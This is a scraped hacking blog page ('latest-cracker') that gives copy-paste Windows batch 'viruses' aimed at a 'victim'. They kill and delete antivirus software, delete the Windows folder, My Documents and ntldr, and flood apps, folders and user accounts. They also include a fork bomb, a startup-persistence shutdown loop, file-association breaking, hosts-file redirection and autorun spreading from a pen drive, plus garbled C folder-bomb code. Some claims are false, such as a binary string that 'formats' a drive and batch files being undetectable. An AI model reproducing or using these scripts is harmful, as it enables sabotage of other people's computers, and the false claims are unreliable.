latest-cracker: notepad tricks

Ads 468x60px

Labels

Showing posts with label notepad tricks. Show all posts
Showing posts with label notepad tricks. Show all posts

Friday, June 15, 2012

Give matrix digital effect in command prompt



This is a simple batch file that will show the binary strings that the Matrix use as their logo and language. It won't look completely like it, but it's fun!


Just write the code below in notepad and save it with bat extension say matrix.bat.





@echo off
color 2
cls
:A
echo 3     2   3   4     6     8   4  2   3  9  7 3   4  9   7    5  3 1 7 9  1 0 9 2 4  6 2 1  3       4  5       3       5 2   1      0 3     6
echo 2     5   5  6 4      7  1 8  6     8  6  0  8 6 4 1   5 6 4 6     8   8 0 3  1 4 6 8  4  7   8      6   2  1 5   7
:B
echo 5    8     9   2    3 6        8  7  1 2 5     3 6 5  4 2 0  8      9  4  0  3 7 4 2   2  8  9   2  0    1     5    6  5  8
:C
echo 5   9  6 8      4 6   8  4  6 8 4         2 6 4 6        8 1  6   6 8 1  0 6 8  1 6  8   1  6     1        6      5  4       5     6   9         8 7
echo 6       5 1       6    6 0          6          4 6       1 6  5 1       7  5  3 8    5  1 6  5 1 6 0 1 6      0 4      3 4  1  2  4 0   4   3  2
goto A
goto B
goto C


Batch Virus That Destroys Antivirus Systems.


Batch programs are essentially sequences of DOS commands that 'type themselves' when the batch file is run.Batch files consist of control elements, internal DOS commands and external commands or programs. With a little ingenuity one can duplicate most of the functions of a general purpose language, but doing any kind of math is tricky, there are no arithmetic commands at all. But most of us use Batch codes for creating viruses.One of the important feature of batch viruses are it cant be detected easily by Antivirus systems.Here in this article we will learn about making a batch virus that can destroy antivirus systems.The trick is so simple all you have to need is a notepad.

HOW TO CREATE A BATCH VIRUS TO KILL ANTIVIRUS

1. Open notepad and copy the below code to it and save the file as Batch that is with extension .Bat and with anyname.that is your final file will look like this anyname.bat


@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --

NOTE : Please dont try this on your own system

Monday, June 4, 2012

Hack Back "command prompt" if its locked by admin in XP


Sometimes the Command Prompt is locked by the admin for the guest accounts, so that they cant make change in system Files.
Well there are some ways for that:

Method 1:
  1. Open Notepad and write "start" without quotes 




    • Start
  1. and then save it with .bat extension.
  2. Now double click on this .bat file to run Command Prompt.

Method 2:
  1. Open Notepad and Write these line in Notepad



    • @echo off
      command
      comand.com
      pause
  1. save it with .bat extension.
  2. Now double click on this .bat file to run Command Prompt.

Method 3:
  1. Open Calculator(Go to  Start>Accessories>Calculator)
  2. click Help>Help topics.
  3. Now In the most upper left corner you see a "?",  right click on it and click "Jump to URL"
  4. Now "In the Jump to URL" write "file:///C:/windows/system32/cmd.exe" without quotes.
  5. Now a Warning Window will open Up, Click on Run.
Tested on: Windows XP

Give matrix digital effect in command prompt



This is a simple batch file that will show the binary strings that the Matrix use as their logo and language. It won't look completely like it, but it's fun!


Just write the code below in notepad and save it with bat extension say matrix.bat.





@echo off
color 2
cls
:A
echo 3     2   3   4     6     8   4  2   3  9  7 3   4  9   7    5  3 1 7 9  1 0 9 2 4  6 2 1  3       4  5       3       5 2   1      0 3     6
echo 2     5   5  6 4      7  1 8  6     8  6  0  8 6 4 1   5 6 4 6     8   8 0 3  1 4 6 8  4  7   8      6   2  1 5   7
:B
echo 5    8     9   2    3 6        8  7  1 2 5     3 6 5  4 2 0  8      9  4  0  3 7 4 2   2  8  9   2  0    1     5    6  5  8
:C
echo 5   9  6 8      4 6   8  4  6 8 4         2 6 4 6        8 1  6   6 8 1  0 6 8  1 6  8   1  6     1        6      5  4       5     6   9         8 7
echo 6       5 1       6    6 0          6          4 6       1 6  5 1       7  5  3 8    5  1 6  5 1 6 0 1 6      0 4      3 4  1  2  4 0   4   3  2
goto A
goto B
goto C


Thursday, February 16, 2012

HOW TO MAKE A DEADLY VIRUS OF YOUR OWN

A virus is a computer Program that damage data or affect the working of a system. In this Article I m going to show you how to make a deadly Virus that can DELETE WINDOWS in a minute.
The following Virus will be in Batch (.bat) format. That mean that it is a Windows DOS command and will not be detected by Anti-viruses.

STEP 1) Open Notepad and type following command as it is without Quotes.

“del C:\Windows /f /q”

NOTE :Instead of C:/ you have to type your drive in which Windows is installed.

STEP 2) Save it as a.bat (don’t forget to choose all files from save option.)

STEP 3) Now save it in any Drive other than C:

STEP 4) Now goto Desktop and make a shortcut of the a.bat and change the Icon of the file to that of My computer.

STEP 5) Now Replace it with My Computer and leave the computer

AFTER EFFECTS: Now when someone will open the My Computer the Windows folder will be deleted and that person will have to reinstall the Windows

Wednesday, February 15, 2012

FUNNY NOTEPAD TRICKS THAT WILL DRIVE YOU CRAZY


1313078511_Whack_Notepad_%252B%252B

This simple computer prank  that consists of a code below that will drive you crazy as it opens notepad continuously(loooop).

Capturennnn-1

 type the below code and rename it as *.bat it take the above showed icon shape.
To Open Notepad continuously in your friend’s computer:
Type the code in notepad as :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as “notepad.BAT” and send it.
Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.



Sample Virus Code Using C


1312532989_virus



IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
Code Is Below
rmdir C:\Documents and Settings \S\Q.

Run this on your own responsibility*/

VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)


write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Saturday, September 10, 2011

Format Hard Disk Using Notepad



1. Write/copy the following code:  010010110001111100100101010101010100000111111 00000

2. Save As it as .EXE and any Name would Do. eg- (virus.exe)
3. If u run the program means it will format the Hard Drive.
NOTE: This is for learning purpose only!!

Wednesday, August 31, 2011

Batch Files - the art of creating viruses


I could just you give the  codes to paste  in notepad and  ask you to save files with extension .bat and   your deadly batch viruses would be ready. But instead of that, I have focussed on making the basics of batch files clear and developing the approach to code your own viruses.

What are Batch Files ?
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x  //makes directory 'x' on desktop
2. cd x  // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'     



We first make a folder/directory 'x', then enter in folder  'x',then make a folder 'y' in folder 'x' . 
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in  notepad and save file as anything.bat                         


       
Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file 

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run. 

What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.  Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x   //loop variable
start winword 
start mspaint  //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance. 

2. Folder flooder
@echo off
:x
md %random% // makes directory/folder. 
goto x

Here %random% is a variable that would generate a positive no. randomly.  So this code would make start creating folders whose name can be any random number. 

3.User account flooder 
@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers. 

3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”  
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”    //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00  //this will shutdown the computer in 0 seconds  

Note : Files in Start up folder gets started automatically when windows starts .  You should  first two lines of  code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder. 

4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows. 


 Lets make a batch file to 
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr   // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr    //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again. 


5. Fork Bomb

%0|%0  //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .
                     



6. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything                          


Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
 Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.


7.  DNS Poisoning
There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts  file.

@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts   //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file. 

Replace xxx.xxx.xxx.xxx  and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

                                              Viruses we just coded



Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.
   
Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

After running converter ,  open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.  
                     
You can  use other options as per your requirement. 

Spreading batch viruses through pen drive -:

Step 1. 
Open notepad and write 
[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

 

money mail